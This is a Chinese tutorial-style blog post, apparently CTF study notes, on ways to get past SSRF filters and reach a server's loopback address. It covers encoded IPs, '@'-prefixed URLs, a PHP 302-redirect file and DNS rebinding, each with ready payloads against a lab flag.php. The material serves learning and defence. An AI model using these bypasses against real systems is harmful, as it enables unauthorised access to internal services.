ssrf学习2——内网ip绕过

环回地址绕过

尝试访问内网 也就是127.0.0.1里面的flag.php

但是如果真的去访问127.0.0.1/flag.php 还是不行

也就是说127.0.0.1被过滤了

进制转换

127.0.0.1是点分十进制

可以用二进制八进制十六进制来绕过过滤

0x7F000001/flag.php

017700000001/flag.php(八进制前面是0)

成功绕过

也可以用八进制或者十六进制的点分式

0177.0000.0000.0001/flag.php

0x7F.0x00.0x00.0x01/flag.php 也可以只转一个0x7F.0.0.1/flag.php

添加@绕过

平常我们传入的url是url=http://127.0.0.1

如果 我们传入的url是url=http://quan9i@127.0.0.1,它此时依旧会访问127.0.0.1

示例如下 题目给出提示

在这里插入图片描述

要求必须以http://notfound.ctfhub.com开头,但我们访问内网文件的话,有这个,该怎么访问呢,这个时候就用到了@字符,我们构造payload如下

url=http://notfound.ctfhub.com@127.0.0.1/flag.php

在这里插入图片描述

特殊数字(例如②)

有时候可以用特殊数字来绕过,构造特殊的127.0.0.1,如1②7.0.0.1

在这里插入图片描述

句号替代.绕过

来代替.

在这里插入图片描述

省略0

当过滤127.0.0.1整体时,还有一种绕过方式就是省略中间的0,这个时候也是可以访问的

特殊0

在windows中,0代表0.0.0.0,而在linux下,0代表127.0.0.1,如下所示

url=http://0/flag.php

302重定项绕过

若传入的私网地址被限制可以使用302重定向绕过。这需要一台公网服务器和它的公网IP,在服务器中创建重定向的代码文件,提交公网IP路径下的重定向代码文件,使SSRF漏洞服务器或主机访问从而重定向到自己内网地址或本机地址。

具体步骤就是我们在自己的公网服务器上设置302重定向到127.0.0.1/flag.php

然后通过访问我们的公网ip 显示出127.0.0.1/flag.php的内容

在自己的公网服务器上创建tmp/302/index.php

并且写入代码

php 复制代码
<?php  
header('Location: http://127.0.0.1/flag.php');

然后我们监听一下7777端口

php73 -S 0.0.0.0:7777

再去访问

即可成功得到

DNS重绑定

ssrf的防御机制

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。 但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。 要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:

服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP 对于获得的IP进行判断,发现为非黑名单IP,则通过验证 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

攻击原理:利用服务器两次解析同一域名的短暂间隙,,更换域名背后的ip达到突破同源策略或过waf进行ssrf的目的。

DNS中的机制TTL:域名和IP绑定关系的Cache存活的最长时间。

所以最理想的TTL值为0

DNS重绑定这里简单的说就是我们先提供一个ip,然后在服务端进行解析的过程中再传127.0.0.1,此时就可能会出现访问到本地文件的情况 举个栗子,我们设置一个为127.0.0.1,另一个随便写一个公网的ip

然后去访问这个域名

域名重绑定网站

rbndr.us dns rebinding service

参考:

https://www.bilibili.com/video/BV1Fw41157v4?vd_source=294c9cb943c812caed99031fabfb135d

从一文中了解SSRF的各种绕过姿势及攻击思路-腾讯云开发者社区-腾讯云

相关推荐
Re.不晚5 分钟前
Java入门15——抽象类
java·开发语言·学习·算法·intellij-idea
幼儿园老大*1 小时前
走进 Go 语言基础语法
开发语言·后端·学习·golang·go
1 小时前
开源竞争-数据驱动成长-11/05-大专生的思考
人工智能·笔记·学习·算法·机器学习
ctrey_1 小时前
2024-11-4 学习人工智能的Day21 openCV(3)
人工智能·opencv·学习
啦啦右一1 小时前
前端 | MYTED单篇TED词汇学习功能优化
前端·学习
霍格沃兹测试开发学社测试人社区2 小时前
软件测试学习笔记丨Flask操作数据库-数据库和表的管理
软件测试·笔记·测试开发·学习·flask
今天我又学废了2 小时前
Scala学习记录,List
学习
王俊山IT3 小时前
C++学习笔记----10、模块、头文件及各种主题(一)---- 模块(5)
开发语言·c++·笔记·学习
Mephisto.java3 小时前
【大数据学习 | kafka高级部分】kafka中的选举机制
大数据·学习·kafka
南宫生4 小时前
贪心算法习题其三【力扣】【算法学习day.20】
java·数据结构·学习·算法·leetcode·贪心算法